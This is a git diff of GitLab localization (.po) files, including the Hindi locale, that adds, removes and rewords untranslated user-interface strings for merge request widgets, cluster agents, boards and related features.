@@ -41317,9 +41983,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41351,13 +42014,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41369,6 +42032,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41387,9 +42053,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41432,9 +42095,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41469,6 +42129,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41478,12 +42141,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/hi_IN/gitlab.po b/locale/hi_IN/gitlab.po
index ad5764bfa99..890faef7427 100644
--- a/locale/hi_IN/gitlab.po
+++ b/locale/hi_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
